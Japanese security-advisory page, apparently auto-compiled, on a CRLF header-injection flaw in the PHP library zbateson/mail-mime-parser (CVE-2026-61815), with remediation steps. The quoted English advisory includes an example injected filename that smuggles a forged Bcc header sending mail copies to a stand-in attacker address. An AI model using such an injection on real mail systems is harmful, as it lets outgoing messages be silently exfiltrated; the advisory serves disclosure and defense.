zbateson/mail-mime-parser の脆弱性 (CVE-2026-61815)
概要
zbateson/mail-mime-parser に 脆弱性 (CVE-2026-61815) が存在。不正な操作・情報露出のリスクがあります。filename 経由で攻撃可能。対策: 4.0.2 以上に更新。
原文の説明
取得元が公開している説明をそのまま載せています (多くは英語)。
Impact
A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.
Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.
Details
On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:
Content-Disposition: attachment;
filename="doc
Bcc: attacker@evil.test"
The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.
The decode side is affected as well, which is what makes purely inbound exploitation possible:
ParameterPart::decodePartValue()rawurldecode()s an RFC 2231filename*=parameter with no control-character stripp…
出典: NIST National Vulnerability Database NVD GitHub Advisory
自動生成の要約
取得元のデータ (CVSS・CWE・影響バージョンなど) から SecPulse が定型文で組み立てた要約です。AI は使っていません。正確な内容は下の原文と参照URLで確認してください。
zbateson/mail-mime-parser という製品で、CVE-2026-61815 という番号がついた弱点 (脆弱性) が見つかりました。
悪い人がインターネット越しに filename のような特定の入り口を狙うことで、製品の中を不正に操作できてしまいます。
不正な操作・情報露出のリスクがあります。重要度は CVSS スコア 7.2/10 です。
対策: zbateson/mail-mime-parser を 4.0.2 以上に更新してください。
心配なら、システム担当者や製品の公式サイトで「zbateson/mail-mime-parser CVE-2026-61815」を検索してください。
CVE-2026-61815 (zbateson/mail-mime-parser) — CWE-93 / CVSS v3 7.2
攻撃ベクター: ネットワーク経由 (リモート攻撃可) / 認証不要 / 被害者操作不要
脆弱箇所: filename / doc / MimeToken
修正バージョン: 4.0.2 (即時適用推奨)
暫定回避: strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.
対応方針: 1) SBOMで影響バージョン横断確認, 2) ステージング検証→本番更新, 3) WAF/プロキシで該当エンドポイントを監視, 4) ログでIOC調査。
参考: 当ページの『参照URL』の GHSA / vendor advisory / patched release を参照。
zbateson/mail-mime-parser に 脆弱性 (CWE-93) があります。攻撃者は filename を経由して脆弱な処理に到達し、認証なしで悪用できます。
zbateson/mail-mime-parser の影響バージョンはベンダーのアドバイザリで確認してください。攻撃箇所: filename / doc / MimeToken。
重要度: 重要 (CVSS 7.2/10)。不正な操作・情報露出のリスクがあります。
4.0.2 に更新してください。
暫定回避: strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.
Webサーバ・プロキシ・WAFログで該当CVEのIOCに合致する不審リクエストを検索。SBOM/依存ファイルで影響バージョンを横断確認。
対応アクション
SOC/SREチームが順番に実行すべき具体的なステップとコマンド例
-
1影響範囲の特定 identify
grep -r 'zbateson/mail-mime-parser' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
zbateson/mail-mime-parserを grep し、稼働しているサービス・バージョンを把握する。 -
2暫定回避策の適用 mitigate
strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.パッチが適用されるまでの応急処置として、strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e. を実施。回避策の副作用 (機能低下) を確認した上で。
-
3パッチ適用 patch
Upgrade zbateson/mail-mime-parser to 4.0.2ステージング環境で 4.0.2 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
4事後検証 verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
影響パッケージ
参照URL
- web security-advisories@github.com
- web nvd.nist.gov
- web github.com
- web github.com
- web github.com
- web github.com
- web github.com